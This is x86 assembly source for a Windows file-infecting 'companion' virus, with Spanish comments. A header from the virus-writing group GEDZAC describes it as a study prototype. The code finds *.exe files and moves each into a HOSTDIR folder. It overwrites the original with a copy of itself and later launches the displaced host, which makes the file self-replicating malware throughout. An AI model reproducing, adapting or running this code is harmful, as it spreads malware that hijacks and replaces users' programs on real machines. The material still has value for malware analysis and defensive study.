;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;% NOMBRE	: EJEMPLO DE VIRUS SUPLANTADOR (prototipo)						    %
;% AUTOR	: 3sk0rbut0/GEDZAC								   	    %
;% COMENTARIOS	: Este virus es solo un prototipo diseado para el estudio de las tcnicas de suplantacin. %
;%		 (El cdigo viene comentado en el articulo correspondiente)				    %
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

.386
.model flat
;------------------------------------ Funciones apis utilizadas
	extrn CreateDirectoryA	:proc
	extrn GetCommandLineA	:proc
	extrn FindFirstFileA	:proc
	extrn FindNextFileA	:proc
	extrn lstrcat		:proc
	extrn CopyFileA		:proc
	extrn MoveFileA		:proc
	extrn WinExec		:proc
	extrn ExitProcess	:proc
;------------------------------------
jumps
.data
;------------------------------------ Estructura de datos FFFA/FNFA
	FILETIME struc
	FT_dwLowDateTime    dd ?
	FT_dwHighDateTime   dd ?
	FILETIME ends
	Max_Path            equ 260
	WIN32_FIND_DATA:
	WFD_dwFileAttributes	dd       ?
	WFD_ftCreationTime	FILETIME ?
	WFD_ftLastAccessTime	FILETIME ?
	WFD_ftLastWriteTime     FILETIME ?
	WFD_nFileSizeHigh      	dd       ?
	WFD_nFileSizeLow	dd       ?
	WFD_dwReserved0	   	dd       ?
	WFD_dwReserved1	   	dd       ?
	WFD_szFileName	  	db	 Max_Path dup (?)
	WFD_szAlternateFileName db	 13       dup (?)
;------------------------------------ Datos para FFFA
	Extencion      db '*.exe',0
	HandleBusqueda dd 0
;------------------------------------ Otros datos
	HostDir   db 'c:\windows\escritorio\HOSTDIR',0
	MiCmdLine db Max_Path dup (?)
	MiNombre  db Max_Path dup (?)
	MiRuta	  db Max_Path dup (?)
	Cadena	  db Max_Path dup (?)
;------------------------------------
.code
INICIO:
	call CrearDirectorio
	call ObtenerMisDatos
;------------------------------------ BUSCAR PRIMER ARCHIVO
FindFirst:
	push offset WIN32_FIND_DATA
	push offset Extencion
	call FindFirstFileA
	inc eax
	jz FIN
	dec eax
	mov HandleBusqueda,eax
;------------------------------------
Proceso:

	call VerInfeccion
	cmp eax,00001000h
	je BuscarSiguiente

	call MoverHost
	call Suplantar
		
;------------------------------------ BUSCAR SIGUIENTE ARCHIVO
BuscarSiguiente:
	push offset WIN32_FIND_DATA
	push HandleBusqueda
	call FindNextFileA
	cmp eax,0
	jne Proceso
;------------------------------------
FIN:
	call EjecutarHoste
	call ExitProcess
	
;------------------------------------ RUTINA PARA COPIAR CADENAS
CopiarCadena proc
; ESI = ENTRADA
; EAX = CADENA SALIDA

	push edx
	push esi

	xor edx,edx
	xor ecx,ecx
	dec ecx
	mov eax,offset Cadena
Copiar:	inc ecx
	mov dh,byte ptr [esi+ecx]
	mov [eax+ecx],dh
	cmp byte ptr [esi+ecx],0
	jne Copiar
	
	pop esi
	pop edx
	
	ret
CopiarCadena endp
;------------------------------------ RUTINA PARA CREAR DIRECTORIO
CrearDirectorio proc
	push 0
	push offset HostDir
	call CreateDirectoryA
	ret
CrearDirectorio endp
;------------------------------------ RUTINA PARA OBTENER Mi Linea de comandos, mi Nombre y mi Ruta
ObtenerMisDatos proc
	call GetCommandLineA
	cmp byte ptr [eax],'"'
	jne ok
	inc eax
	xor ecx,ecx
	dec ecx
Comilla:inc ecx
	cmp byte ptr [eax+ecx],'"'
	jne Comilla
	mov byte ptr [eax+ecx],0
ok:	mov edi,offset MiCmdLine
	mov esi,eax
	mov ecx,ecx
	rep movsb
;------------------
	xor ecx,ecx
	dec ecx
FinCadena:
	inc ecx
	cmp byte ptr [eax+ecx],0
	jne FinCadena
Slash:	dec ecx
	cmp byte ptr [eax+ecx],'\'
	jne Slash
	inc ecx
	add eax,ecx
	push ecx
	mov edi,offset MiNombre
	mov esi,eax
	mov ecx,ecx
	rep movsb
	pop ecx
;------------------
	mov edi,offset MiRuta
	mov esi,offset MiCmdLine
	mov ecx,ecx
	rep movsb
	ret
ObtenerMisDatos endp
;------------------------------------
MoverHost proc
	mov esi, offset HostDir
	call CopiarCadena
	
	mov edx,offset WFD_szFileName
	dec edx
	mov byte ptr [edx],'\'
	 
	push edx
	push eax
	call lstrcat

	push eax
	push offset WFD_szFileName
	call MoveFileA
	ret
MoverHost endp
;------------------------------------
Suplantar proc
	push 0
	push offset WFD_szFileName
	push offset MiCmdLine
	call CopyFileA
	ret
Suplantar endp
;------------------------------------
VerInfeccion proc
	mov eax,dword ptr [offset WFD_nFileSizeLow]
	ret
VerInfeccion endp
;------------------------------------
EjecutarHoste proc
	mov esi, offset HostDir
	call CopiarCadena
	
	mov edx,offset MiNombre
	dec edx
	mov byte ptr [edx],'\'
	 
	push edx
	push eax
	call lstrcat

	push 1
	push eax
	call WinExec
	ret
EjecutarHoste endp
;------------------------------------
end INICIO
end